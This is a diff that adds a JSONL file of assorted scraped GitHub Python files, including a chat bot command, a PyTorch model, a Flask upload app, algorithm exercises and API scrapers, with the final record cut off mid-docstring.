diff --git "a/1415.jsonl" "b/1415.jsonl" new file mode 100644--- /dev/null +++ "b/1415.jsonl" @@ -0,0 +1,951 @@ +{"seq_id":"2807499594","text":"__author__ = 'igorkhomenko'\n\nimport commands\n\nclass EchoCommand(commands.Command):\n __COMMAND_NAME__ = \"echo\"\n\n def __init__(self):\n self.command = EchoCommand.__COMMAND_NAME__\n self.description = \"echoes the provided text\"\n self.example_usage = \"echo \"\n\n def process(self, message, xmpp_client):\n from_jid, command_argument = commands.Command.process(self, message, xmpp_client)\n\n # send the result of a command processing\n #\n xmpp_client.send_private_msg(command_argument, from_jid)","repo_name":"TommyTeaVee/MehDoh-q-municate-chat-xmpp-bot","sub_path":"commands/echo.py","file_name":"echo.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4622762704","text":"import torch\n\n\nclass MLP(torch.nn.Module):\n\n def __init__(self, input_size, hidden_size):\n super(MLP, self).__init__()\n\n # the sizes\n self.input_size = input_size\n self.hidden_size = hidden_size\n\n # 2 layers and 2 activation functions\n self.fc1 = torch.nn.Linear(self.input_size, self.hidden_size)\n self.relu = torch.nn.ReLU()\n self.fc2 = torch.nn.Linear(self.hidden_size, 1)\n self.sigmoid = torch.nn.Sigmoid()\n\n def forward(self, x):\n\n # feed forward to the 2 layers (plus activation functions)\n hidden = self.fc1(x)\n relu = self.relu(hidden)\n output = self.fc2(relu)\n output = self.sigmoid(output)\n\n return output\n\n def accuracy(self, prediction, grand_true):\n prediction = prediction.detach().round().reshape(1, -1)\n n_right = torch.sum(prediction == grand_true).item()\n accuracy_score = n_right / len(grand_true)\n return round(accuracy_score, 3)\n","repo_name":"tessacram/thesis","sub_path":"python_scrips/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"3048313773","text":"import logging\nlogger = logging.getLogger(__name__)\n\nimport datetime\n\n\nfrom .schemadata import SchemaData\n\n\n\nclass Relation:\n def __init__(self, code, detail):\n super().__init__()\n self.code = code\n self.detail = detail\n\n def __getitem__(self, key):\n if key == 'code_id':\n return self.code.code_id\n return self.__dict__[key]\n\n\nclass CodeRelations:\n def __init__(self):\n super().__init__()\n self.parents = None\n self.parent_of = []\n self.cousins = None\n self.cousin_of = []\n\n def __getitem__(self, key):\n return self.__dict__[key]\n\n def __repr__(self):\n return (\n \"CodeRelations(parents={!r}, parent_of={!r}, cousins={!r}, cousin_of={!r})\"\n .format(self.parents, self.parent_of, self.cousins, self.cousin_of)\n )\n\n\n\nclass Code:\n def __init__(self, info, full_schema, source_info_filename, eczllm_environment):\n super().__init__()\n\n self.source_info = info\n\n self.source_info_filename = source_info_filename\n\n year = datetime.date.today().year\n if '_meta' in self.source_info:\n if 'year' in self.source_info['_meta']:\n year = self.source_info['_meta']['year']\n\n self.citation_info = {\n 'year': year,\n }\n\n code_id = info['code_id']\n\n self.eczllm_environment = eczllm_environment\n self.llm_resource_info = self.eczllm_environment.make_resource_info(\n resource_type='code',\n resource_id=code_id,\n )\n\n self.schemadata = SchemaData(\n self.source_info,\n full_schema,\n what=f\"\",\n llm_environment=self.eczllm_environment,\n llm_resource_info=self.llm_resource_info,\n )\n\n # often used properties\n self.code_id = self.schemadata['code_id']\n self.name = self.schemadata['name']\n\n self.description = self.schemadata['description']\n \n # these fields only get set once we are assigned to a CodeCollection\n self.collection = None\n\n # these fields only get set after we are assigned to a CodeCollection\n # and after the code collection is finalized.\n self.relations = CodeRelations()\n\n self.family_generation_level = None\n self.family_root_code = None\n\n def short_name(self):\n if 'short_name' in self.schemadata:\n return self.schemadata['short_name']\n name = self.name\n if name.llm_text.endswith(\" code\"):\n return self.eczllm_environment.make_fragment(\n llm_text=name.llm_text[:-len(\" code\")],\n what=f\"{name.what} (short)\",\n resource_info=self.llm_resource_info,\n standalone_mode=True,\n )\n return name\n\n def __getitem__(self, key):\n return self.schemadata[key]\n\n def getfield(self, key, default=None):\n return self.schemadata.getfield(key, default=default)\n\n def iter_fields_recursive(self, **kwargs):\n for (fldinfo, value) in self.schemadata.iter_fields_recursive(**kwargs):\n yield (fldinfo, value)\n # now also yield the relations data structure which is trickier to\n # traverse\n relschema = self.schemadata.full_schema \\\n ['properties']['relations']['properties']['parents']['items']['properties']\n for rel_type in ('parent', 'cousin',):\n for rel_direction in ('s', '_of',):\n for j, rel in enumerate(self.relations[rel_type+rel_direction]):\n for rel_field in ('code_id', 'detail'):\n fldinfo = {\n 'fieldname': f\"{rel_type}{rel_direction}.{j}.{rel_field}\",\n 'schema': relschema[rel_field],\n }\n yield (fldinfo, rel[rel_field])\n\n def __str__(self):\n return self.name.llm_text\n\n def __repr__(self):\n return (\n f\"Code(code_id={self.code_id!r}, \"\n f\"source_info_filename={self.source_info_filename!r})\"\n )\n\n def is_descendant_of(self, other_code_id):\n # follow parents until we find other_code_id.\n\n if self.code_id == other_code_id:\n return True\n \n code_ids_checked = set()\n\n checking_codes = [self]\n\n while checking_codes:\n\n new_checking_codes = []\n\n for checking_code in checking_codes:\n code_ids_checked.add(checking_code.code_id)\n\n for r in checking_code.relations.parents:\n rcid = r.code.code_id\n if other_code_id == rcid:\n # parent found\n return True\n # add parent to codes that need to be checked\n if rcid not in code_ids_checked:\n new_checking_codes.append(r.code)\n \n checking_codes = new_checking_codes\n\n return False\n\n def is_in_domain(self, domain_obj):\n # domain_obj is a data structure conforming to the \"domains:\" in\n # 'domainshierarchy' schema\n for kingdom in domain_obj['kingdoms']:\n if self.is_descendant_of(kingdom):\n return True\n return False\n\n def is_cousin_of(self, other_code_id):\n for rel in self.relations.cousins:\n if rel.code.code_id == other_code_id:\n return True\n for rel in self.relations.cousin_of:\n if rel.code.code_id == other_code_id:\n return True\n return False\n\n def get_relationship_to(self, other_code_id):\n for rel_field in ('parents', 'parent_of', 'cousins', 'cousin_of'):\n for rel in getattr(self.relations, rel_field):\n if rel.code.code_id == other_code_id:\n return rel\n return None\n \n\n\n","repo_name":"errorcorrectionzoo/eczoo_generator","sub_path":"ecczoogen/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":5973,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"15782050082","text":"from copy import deepcopy\nfiles = ['input.txt', 'inputTest.txt']\n## Parsing\nwith open(files[0], 'r') as f: lines = [a.strip() for a in f.readlines()]\n\n\ndef run(lines):\n acc = 0\n visited = []\n i = 0\n while i < len(lines):\n if i in visited: return (False, acc)\n visited.append(i)\n if lines[i][:3] == \"nop\":\n i += 1\n elif lines[i][:3] == \"acc\":\n acc += int(lines[i][4:])\n i += 1\n elif lines[i][:3] == \"jmp\":\n i += int(lines[i][4:])\n return True, acc\n\ndef replacing(lines):\n change = 0\n newCop = deepcopy(lines)\n while not run(newCop)[0]:\n newCop = deepcopy(lines)\n i = -1\n ind = 0\n while i < change:\n if newCop[ind][:3] == \"nop\":\n i += 1\n if newCop[ind][:3] == \"jmp\":\n i += 1\n ind += 1\n if newCop[ind-1][:3] == \"nop\": newCop[ind-1] = newCop[ind-1].replace(\"nop\", \"jmp\")\n else: newCop[ind-1] = newCop[ind-1].replace(\"jmp\", \"nop\")\n change += 1\n\n return run(newCop)[1]\n\n\nprint(\"Part 1: \", run(lines)[1])\nprint(\"Part 2: \", replacing(lines))\n","repo_name":"nabihestefan/AdventOfCode","sub_path":"Python/2020/day08/day8.py","file_name":"day8.py","file_ext":"py","file_size_in_byte":1153,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"25344488975","text":"\"\"\"\nThis is an example of the Bayes Theorem, in which to simple random variables\nare used in the calculation, X and Y.\n\"\"\"\n\n\n# Not needed if library is installed\nfrom os import sys, path\n\nsys.path.insert(0, path.join(\"..\", \"ProbPy\"))\n\n# Import ProbPy modules\nfrom ProbPy import RandVar, Factor\n\n\nif __name__ == \"__main__\":\n \"\"\"\n Supposing the following example\n P(X | Y) P(Y) 1/P(X) = P(Y | X)\n \"\"\"\n\n # Random Variables\n X = RandVar(\"X\", [\"T\", \"F\"])\n Y = RandVar(\"Y\", [\"T\", \"F\"])\n\n # Prior distribution, P(Y)\n fy = Factor(Y, [0.2, 0.8])\n\n # Conditional distribution, P(X | Y)\n fx_y = Factor([X, Y], [0.1, 0.9, 0.5, 0.5])\n\n # Bayes theorem to get P(Y | X)\n fy_x = (fx_y * fy).normalize(Y)\n\n print(\"P(X | Y) P(Y) 1/P(X) = P(Y | X)\")\n print(fy_x)\n\n # Alternative way of getting P(Y | X) without using the normalize() method\n fxy = fx_y * fy\n fx = fxy.marginal(X)\n fx_y = fxy / fx\n\n print(\"P(X | Y) P(Y) 1/P(X) = P(Y | X)\")\n print(fx_y)\n","repo_name":"petermlm/ProbPy","sub_path":"examples/bayes_theorem.py","file_name":"bayes_theorem.py","file_ext":"py","file_size_in_byte":996,"program_lang":"python","lang":"en","doc_type":"code","stars":41,"dataset":"github-code","pt":"21"} +{"seq_id":"73636294452","text":"# Import necessary modules and functions\nfrom WriteToFile import Write_Multiple_IDs, Write_Not_Found\nimport pymoe\nimport time\nimport string\n\n# Initialize an empty list to store names of manga that are not found\nno_manga_found = []\n\ndef Set_No_Manga_Found():\n global no_manga_found\n no_manga_found = []\n\ndef Get_Manga_ID(name, last_chapter_read, app, max_retries=5, delay=15):\n # Declare global variable\n global no_manga_found\n # Initialize retry count\n retry_count = 0\n\n # Retry loop\n while retry_count < max_retries:\n if name != 'Skipping Title':\n try:\n # Search for the manga\n try:\n manga = pymoe.manga.search.anilist.manga(name)\n except:\n print(pymoe.manga.search.anilist.manga(name))\n app.update_terminal(\"\\nError: Cannot resolve graphql.anilist.co\")\n app.update_terminal(\"Possibly due to internet connection\\n\")\n return\n # Initialize matches list\n matches = []\n\n try:\n # Loop through each manga item\n for manga_item in manga:\n title = manga_item['title']\n match = False\n # Check if the title matches the search name\n if 'english' in title and title['english']:\n english_title = title['english'].replace('-', ' ')\n english_title = english_title.replace('\\u2019', '\\u0060')\n english_title = english_title.replace('`', \"'\")\n match = match or Check_Title_Match(english_title, name)\n if 'romaji' in title and title['romaji']:\n romaji_title = title['romaji'].replace('-', ' ')\n romaji_title = romaji_title.replace('\\u2019', '\\u0060')\n romaji_title = romaji_title.replace('`', \"'\")\n match = match or Check_Title_Match(romaji_title, name)\n if 'synonyms' in manga_item:\n for synonym in manga_item['synonyms']:\n synonym = synonym.replace('-', ' ')\n synonym = synonym.replace('\\u2019', '\\u0060')\n synonym = synonym.replace('`', \"'\")\n match = match or Check_Title_Match(synonym, name)\n # If match, append to matches list\n if match:\n matches.append((match, manga_item))\n except IndexError:\n if matches is []:\n # If no search results found, update terminal and append to not found list\n app.update_terminal(f\"\\nNo search results found for '{name}'.\")\n no_manga_found.append((name, last_chapter_read))\n return []\n\n # Sort matches in descending order of match\n matches.sort(key=lambda x: x[0], reverse=True)\n # Get list of IDs for matches\n id_list = [manga_item['id'] for match, manga_item in matches if match]\n\n # If IDs found, print details\n if id_list:\n app.update_terminal(f\"\\nList of IDs for {name} : {id_list}\")\n romaji_title = matches[0][1]['title']['romaji']\n english_title = matches[0][1]['title']['english']\n app.update_terminal(f\"Romaji Title: {romaji_title}\")\n app.update_terminal(f\"English Title: {english_title}\")\n for match, manga_item in matches:\n if match:\n app.update_terminal(f\"Anilist URL: {manga_item['siteUrl']}\")\n\n # If no IDs found, update terminal and append to not found list\n if not id_list:\n app.update_terminal(f\"\\nNo manga found for '{name}'.\")\n no_manga_found.append((name, last_chapter_read))\n\n # Return list of IDs\n return id_list\n\n except pymoe.errors.serverError as e:\n # Handle server error\n if \"Too Many Requests\" in str(e):\n app.update_terminal(f\"Too Many Requests For Pymoe. Retrying in {delay} seconds...\")\n time.sleep(delay)\n retry_count += 1\n else:\n app.update_terminal(f\"An unexpected server error occurred: {e}\")\n break\n else:\n app.update_terminal('\\nSkipping a title...')\n return []\n\n # If retries exhausted, update terminal\n app.update_terminal(f\"Failed to get manga ID for '{name}' after {max_retries} retries.\")\n return []\n\ndef Check_Title_Match(title, name):\n # Remove punctuation from the title and the search name\n title = title.translate(str.maketrans('', '', string.punctuation))\n name = name.translate(str.maketrans('', '', string.punctuation))\n\n # Split the title and the search name into words\n title_words = set(title.lower().split())\n name_words = set(name.lower().split())\n \n # Check if all words in the search name are in the title\n return name_words.issubset(title_words)\n\n# Function to clean the manga IDs\ndef Clean_Manga_IDs(manga_names_ids, app):\n # Initialize dictionaries to store cleaned manga names and IDs, and manga names with multiple IDs\n cleaned_manga_names_ids = {}\n multiple_id_manga_names = {}\n\n # Iterate through manga names and their IDs\n for manga_name, id_list in manga_names_ids.items():\n # Remove duplicates within the same manga name\n unique_ids = list(set(id_list))\n\n # Check if there are multiple unique IDs\n if len(unique_ids) > 1:\n # If there are multiple unique IDs, add the manga name and IDs to the multiple_id_manga_names dictionary\n multiple_id_manga_names[manga_name] = unique_ids\n else:\n # If only one ID, add it directly to the cleaned dictionary\n cleaned_manga_names_ids[manga_name] = unique_ids\n \n # Print the manga names with multiple IDs\n app.update_terminal(\"\\nDuplicate Manga Names and IDs:\")\n if not multiple_id_manga_names:\n app.update_terminal(\"No Manga Names with Multiple IDs Found\\n\")\n else:\n for manga_name, ids in multiple_id_manga_names.items():\n app.update_terminal(f\"\\n{manga_name}\")\n for id_info in ids:\n manga_id, last_chapter_read, status, last_read_at = id_info\n app.update_terminal(f\"ID: {manga_id}, Last Chapter Read: {last_chapter_read}, Status: {status}, Last Read At: {last_read_at}\")\n app.update_terminal(\"\\n\")\n # Write the manga names with multiple IDs to a file\n app.update_progress_and_status(\"Writing multiple ID's file...\", ((5.5 + (0.5/3))/10))\n Write_Multiple_IDs(multiple_id_manga_names)\n # Return the cleaned manga names and IDs\n return cleaned_manga_names_ids\n\n# Function to get the manga not found\ndef Get_No_Manga_Found(app):\n # Write the manga not found to a file\n Write_Not_Found(no_manga_found)\n # Print the manga not found\n app.update_terminal(\"\\nNot Found Manga:\")\n if not no_manga_found:\n app.update_terminal(\"No Manga Not Found\\n\")\n else:\n for manga in no_manga_found:\n name, last_chapter_read = manga\n app.update_terminal(f\"{name}, Last Chapter Read: {last_chapter_read}, Status: Not Found\")\n app.update_terminal(\"\\n\")","repo_name":"RLAlpha49/Anilist-Manga-Updater","sub_path":"GetID.py","file_name":"GetID.py","file_ext":"py","file_size_in_byte":7744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"26503018181","text":"\"\"\" \nInstructions :\nGiven two integers a and b, which can be positive or negative, find the sum of all the integers between including them too and return it. If the two numbers are equal return a or b.\nNote: a and b are not ordered!\n\nExamples\nget_sum(1, 0) == 1 // 1 + 0 = 1\nget_sum(1, 2) == 3 // 1 + 2 = 3\nget_sum(0, 1) == 1 // 0 + 1 = 1\nget_sum(1, 1) == 1 // 1 Since both are same\nget_sum(-1, 0) == -1 // -1 + 0 = -1\nget_sum(-1, 2) == 2 // -1 + 0 + 1 + 2 = 2\n\nlink: https://www.codewars.com/kata/55f2b110f61eb01779000053/train/python\n\n\"\"\"\n\n\n# My code\ndef get_sum(a, b):\n # good luck!\n res = 0\n\n if a > b:\n start = b\n end = a\n else:\n start = a\n end = b\n\n for i in range(start, end + 1):\n res += i\n\n print(res)\n return res\n\n\n# Voted as best practice\ndef get_sum2(a, b):\n return sum(range(min(a, b), max(a, b)+1))\n\n\nget_sum(1, 0) # 1\nget_sum(1, 2) # 3\nget_sum(0, 1) # 1\nget_sum(1, 1) # 1\nget_sum(-1, 0) # -1\nget_sum(-1, 2) # 2\n","repo_name":"juanjosua/codewars","sub_path":"sum_of_numbers.py","file_name":"sum_of_numbers.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10867457916","text":"#!/usr/bin/env python\n\n# Find the longest increasing subsequence of a given sequence S[1...n].\n\n# Also output the subsequence\n\n# Subproblem: LIS[i] = Longest subsequence of S[1..i]\n# including the i-th character\n\n# No. of subproblems: n\n\n# Recursion: LIS[i] = 1 + max(LIS[j]) where j < i and S[j] < S[i]\n\n# Solution: max(LIS)\n\n# Running Time: n * O(n) = O(n^2)\n\ndef findLIS(s):\n LIS = [1 for i in range(len(s))]\n L = [-1 for i in range(len(s))]\n max, maxIndex = 0, 0\n for i in range(len(s)):\n max, maxIndex = 0, -1\n for j in range(i):\n if s[j] < s[i] and LIS[j] > max:\n max = LIS[j]\n maxIndex = j\n\n LIS[i] = 1 + max\n L[i] = maxIndex\n\n max, maxIndex = 1, 0\n for i, element in enumerate(LIS):\n if max < LIS[i]:\n max = element\n maxIndex = i\n\n output = []\n while maxIndex >= 0:\n output.append(s[maxIndex])\n maxIndex = L[maxIndex]\n\n return max, output[::-1]\n","repo_name":"purnesh42H/Algorithm-Problems","sub_path":"Dynamic Programming/longestIncreasingSubsequence.py","file_name":"longestIncreasingSubsequence.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72064115254","text":"\n\nfrom .grab import _grab_next_page_token\nfrom .grab import _grab_search_result_kind\nfrom .grab import _grab_videoId_from_search\nfrom .grab import _grab_channelId_from_search\nfrom .grab import _grab_playlistId_from_search\n\n\ndef search_by_keyword(service,\n query: str,\n search_type: str = 'video,channel,playlist'):\n \"\"\"\n Search on YouTube for channels, videos, and playlists for the provided keyword and return their IDs'\n Args:\n service: YouTube Service Instance\n query: Search query | Your search keyword\n search_type: Specify your search type. Acceptable keywords are channel, video, playlist.\n\n Returns:\n List of your selected type IDs'\n \"\"\"\n\n # Strip and lower the string\n search_type = search_type.strip().lower()\n if search_type not in 'video,channel,playlist':\n raise Exception(f'{search_type} is not an acceptable keyword. Acceptable keywords are: '\n f'video, channel, playlist')\n\n response = service.search().list(\n q=query,\n part='snippet',\n type=search_type,\n maxResults=50\n ).execute()\n\n ids = [] # Holds IDs'\n\n items = response['items']\n for item in items:\n kind = _grab_search_result_kind(item)\n if kind == 'youtube#channel':\n item_id = _grab_channelId_from_search(item)\n elif kind == 'youtube#video':\n item_id = _grab_videoId_from_search(item)\n elif kind == 'youtube#playlist':\n item_id = _grab_playlistId_from_search(item)\n else:\n # Raise KeyError if no item kind found\n raise KeyError(kind)\n\n if item_id not in ids:\n ids.append(item_id) # Appends IDs' to the list\n\n try:\n next_page_token = _grab_next_page_token(response)\n except KeyError:\n next_page_token = False\n\n while next_page_token:\n response = service.search().list(\n q=query,\n part='snippet',\n type=search_type,\n maxResults=50,\n pageToken=next_page_token\n ).execute()\n\n items = response['items']\n for item in items:\n kind = _grab_search_result_kind(item)\n if kind == 'youtube#channel':\n item_id = _grab_channelId_from_search(item)\n elif kind == 'youtube#video':\n item_id = _grab_videoId_from_search(item)\n elif kind == 'youtube#playlist':\n item_id = _grab_playlistId_from_search(item)\n else:\n # Raise KeyError if no item kind found\n raise KeyError(kind)\n\n if item_id not in ids:\n ids.append(item_id) # Appends IDs' to the list\n\n try:\n next_page_token = _grab_next_page_token(response)\n except KeyError:\n next_page_token = False\n\n if len(search_type) == 22:\n print(f'{len(ids)} items found in the search')\n else:\n print(f'Total {search_type.capitalize()}\\'s found: {len(ids)}')\n\n return ids\n","repo_name":"jawad5311/YouTube_Scrapper","sub_path":"src/yt_scrapper/common/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":3066,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73026888693","text":"import unittest\n\nfrom rx import Observable\nfrom rx.testing import TestScheduler, ReactiveTest\n\non_next = ReactiveTest.on_next\non_completed = ReactiveTest.on_completed\non_error = ReactiveTest.on_error\nsubscribe = ReactiveTest.subscribe\nsubscribed = ReactiveTest.subscribed\ndisposed = ReactiveTest.disposed\ncreated = ReactiveTest.created\n\n\nclass TestNever(unittest.TestCase):\n def test_never_basic(self):\n scheduler = TestScheduler()\n xs = Observable.never()\n results = scheduler.create_observer()\n xs.subscribe(results)\n scheduler.start()\n results.messages.assert_equal()\n","repo_name":"LiuFang816/SALSTM_py_data","sub_path":"python/ReactiveX_RxPY/RxPY-master/tests/test_observable/test_never.py","file_name":"test_never.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"} +{"seq_id":"16859056137","text":"# Object oriented programming\r\n# Notes from lecture on 10/26\r\nfrom math import pi\r\n\r\n\"\"\"Ellipse method\"\"\"\r\n\r\nclass Ellipse():\r\n \"\"\"\r\n Class defining ellipse objects\r\n \r\n Data attributes:\r\n major axis\r\n minor axis\r\n orientation\r\n \"\"\"\r\n \r\n # Class attribute -- same for every single instance!\r\n _name = \"Ellipse\" \r\n \r\n def __init__(self, major, minor, orient = 0.0): # first argument must ALWAYS be self\r\n \"\"\" Constructor method for ellipse class \r\n \r\n Inputs:\r\n major: major axis \r\n minor: minor axis\r\n orient: (optional) orientation of ellipse (deg)\r\n \"\"\"\r\n self._mj = major\r\n self._mn = minor\r\n self._or = orient\r\n \r\n return None\r\n \r\n def calc_area(self):\r\n area = pi * self._mj * self._mn\r\n return area\r\n \r\ne1 = Ellipse(3.0, 1.0, 0.0)\r\ne1 = Ellipse(4.0, 2.0, 10.0)\r\n\r\nae1 = e1.calc_area()\r\n\r\n# if there is an underscore under a class attribute, IT SHOULD NOT BE CHANGED OUTSIDE OF THE CLASS\r\n# USE OBJECT METHODS TO MODIFY ATTRIBUTES\r\n\r\n\r\nclass Student():\r\n \r\n \r\n def __init__(self, RIN):\r\n self._rin = RIN\r\n return None\r\n \r\n \r\nclass Complx():\r\n \"\"\"complex numbers\"\"\"\r\n \r\n def __init__(self, real, imag):\r\n \"\"\"Complex number constructor\r\n \r\n Input:\r\n real part\r\n imag part\r\n \"\"\"\r\n self._r = real\r\n self._i = imag\r\n \r\n return None\r\n \r\n def conjugate(self):\r\n \"\"\"\"\"\"\r\n cong = Complx(self._r, -self._i)\r\n return cong\r\n \r\n def __str__(self): # special function! Defines what will be printed when you print an object instance!\r\n \"\"\"\"\"\"\r\n str1 = '{}'.format(self._r)\r\n str1 += ', '\r\n str1 += '{}'.format(self._i)\r\n return str1\r\n \r\n def __add__(self, comp2): # special function! defines how Complx objects are added!\r\n \"\"\"\"\"\"\r\n rr = self._r + comp2._r\r\n ii = self._i + comp2._i\r\n cc = Complx(rr, ii)\r\n return cc\r\n \r\n def __eq__(self, comp2): # another special function! describes how \r\n \"\"\"\"\"\"\r\n tol = 1.e-15\r\n if (abs(self._r - comp2._r) < tol and abs(self._i - comp2._i) < tol):\r\n return True\r\n else:\r\n return False\r\n \r\nc1 = Complx(1.0, 0.0)\r\nprint(c1) # prints some memory location\r\n \r\nc1c = c1.conjugate()\r\nprint(c1c)\r\n \r\n \r\n \r\n \r\n ","repo_name":"drcnic/rpi-numpe-fall-2021","sub_path":"Lecture notes/lecture code 10-26.py","file_name":"lecture code 10-26.py","file_ext":"py","file_size_in_byte":2558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40219021607","text":"from flask import Flask, render_template, request, redirect, url_for\nimport subprocess\nimport os\n\napp = Flask(__name__)\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n@app.route('/solve', methods=['POST'])\ndef solve():\n if 'file' not in request.files:\n return redirect(request.url)\n \n file = request.files['file']\n \n if file.filename == '':\n return redirect(request.url)\n \n if file:\n file_path = os.path.join('uploads', file.filename)\n file.save(file_path)\n\n output = subprocess.check_output(['python', 'solver.py', file_path], text=True)\n\n return render_template('index.html', output=output)\n\nif __name__ == '__main__':\n if not os.path.exists('uploads'):\n os.makedirs('uploads')\n app.run(debug=True)\n","repo_name":"paraskhosla3903/roadmap","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":802,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"20449407297","text":"#!/usr/bin/env python3\n\"\"\"\nL2 Regularization Cost\n\"\"\"\n\nimport numpy as np\n\n\ndef l2_reg_cost(cost, lambtha, weights, L, m):\n \"\"\"\n Function that calculates the cost of a neural\n network with L2 regularization\n \"\"\"\n w_summatory = 0\n for i in range(1, L + 1):\n w_summatory += np.linalg.norm(weights['W'+str(i)])\n l2 = cost + ((lambtha/(2*m)) * w_summatory)\n return l2\n","repo_name":"nildiert/holbertonschool-machine_learning","sub_path":"supervised_learning/0x05-regularization/0-l2_reg_cost.py","file_name":"0-l2_reg_cost.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"32728754268","text":"import streamlit as st\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom sklearn.cluster import KMeans\nfrom mpl_toolkits.mplot3d import Axes3D\n\n# Load data\ndf = pd.read_excel('dataset_processed.xlsx')\ndf = df.drop(['Unnamed: 0'], axis=1)\n\ndf2 = pd.read_excel('processed_not_scale.xlsx')\ndf2 = df2.drop(['Unnamed: 0'], axis=1)\n\n# Header Interface\nst.header(\"Isi dataset\")\nst.write(df2)\n\n# Create the slider for selecting the number of clusters (K)\nst.sidebar.subheader(\"Nilai jumlah K\")\nn_clust = st.sidebar.slider(\"Pilih jumlah cluster: \", 2, 4, 2, 1)\n\n# Create a selection box for scatter plot type\nselected_plot = st.selectbox(\"Pilih Visualisasi Klasterisasi Data:\", \n [\"Total Belanja dan Terakhir Kali Belanja\", \n \"Total Belanja dan Frekuensi Belanja\", \n \"Total Belanja, Frekuensi Belanja dan Terakhir Kali Belanja\"])\n\n# Scatter plot functions\ndef plot_amount_vs_recency(n_clust):\n kmean = KMeans(n_clusters=n_clust, n_init=10).fit(df)\n df['Labels'] = kmean.labels_\n\n st.subheader('Total Belanja dan Terakhir Kali Belanja')\n fig, ax = plt.subplots(figsize=(10, 5))\n\n sns.scatterplot(x=df['Amount'], y=df['Recency'], hue=df['Labels'], palette=sns.color_palette('hls', n_colors=n_clust), ax=ax)\n st.pyplot(fig)\n\ndef plot_amount_vs_frequency(n_clust):\n kmean = KMeans(n_clusters=n_clust, n_init=10).fit(df)\n df['Labels'] = kmean.labels_\n\n st.subheader('Total Belanja dan Frekuensi Belanja')\n fig, ax = plt.subplots(figsize=(10, 5))\n\n sns.scatterplot(x=df['Amount'], y=df['Frequency'], hue=df['Labels'], palette=sns.color_palette('hls', n_colors=n_clust), ax=ax)\n st.pyplot(fig)\n\ndef plot_amount_vs_frequency_vs_recency(n_clust, df):\n kmean = KMeans(n_clusters=n_clust, n_init=10).fit(df[['Amount', 'Frequency', 'Recency']])\n df['Labels'] = kmean.labels_\n\n st.subheader('Total Belanja, Frekuensi Belanja dan Terakhir Kali Belanja')\n\n # 2D scatter plot\n fig, ax = plt.subplots(figsize=(10, 5))\n sns.scatterplot(x=df['Amount'], y=df['Frequency'], hue=df['Recency'], ax=ax)\n plt.title('2D Scatter Plot')\n plt.xlabel('Total Belanja')\n plt.ylabel('Frekuensi Belanja')\n st.pyplot(fig)\n\n # 3D scatter plot\n fig2 = plt.figure()\n ax = fig2.add_subplot(111, projection='3d')\n ax.scatter(xs=df['Recency'], ys=df['Frequency'], zs=df['Amount'], c=df['Labels'])\n plt.title('Hasil Clustering')\n ax.set_xlabel('Total Selisih Hari Belanja')\n ax.set_ylabel('Frekuensi Belanja')\n ax.set_zlabel('Total Belanja')\n st.pyplot(fig2)\n\nif st.button(\"Proses Klasterisasi dan Tampilkan Plot\"):\n clusters = []\n for i in range(1, 11):\n km = KMeans(n_clusters=i, n_init=10).fit(df)\n clusters.append(km.inertia_)\n\n # Display the elbow plot\n st.subheader(\"Mencari Elbow\")\n st.line_chart(clusters, use_container_width=True)\n\n if selected_plot == \"Total Belanja dan Terakhir Kali Belanja\":\n plot_amount_vs_recency(n_clust)\n elif selected_plot == \"Total Belanja dan Frekuensi Belanja\":\n plot_amount_vs_frequency(n_clust)\n elif selected_plot == \"Total Belanja, Frekuensi Belanja dan Terakhir Kali Belanja\":\n plot_amount_vs_frequency_vs_recency(n_clust, df)\n","repo_name":"lizapk/clustering-uas","sub_path":"retail-clust.py","file_name":"retail-clust.py","file_ext":"py","file_size_in_byte":3286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42680718615","text":"from math import sin\nfrom math import pi\n\ndef lancamento(v,a):\n l=(((v**2*(sin(2*a*pi/180))))/9.8)\n if l>102:\n print('Muito longe')\n elif l<98:\n print('Muito perto')\n else:\n print('Acertou!')\n \nv1=float(input('Qual a velocidade? '))\na1=float(input('Qual o ângulo de lancamento? '))\nlancamento(v1,a1)","repo_name":"gabriellaec/desoft-analise-exercicios","sub_path":"backup/user_036/ch25_2020_03_09_19_38_04_057108.py","file_name":"ch25_2020_03_09_19_38_04_057108.py","file_ext":"py","file_size_in_byte":340,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"375745066","text":"#!/usr/bin/python3\nfrom ctypes import Union\nimport time\nfrom os import system, name\nfrom typing import List, Mapping, NoReturn, Optional, Sequence\nfrom metro_line import Line\nfrom queue import PriorityQueue, Queue\nfrom graph import Graph\nfrom node import Node\nfrom edge import Edge\n\n\ndef init() -> Graph:\n \"\"\"\n Cré le graphe du réseau métro parisien d'après les données du fichier \"metro.txt\"\n --------- \n Paramètre: Aucun paramètre nécessaire\n\n Retourne:\n ---------\n graph 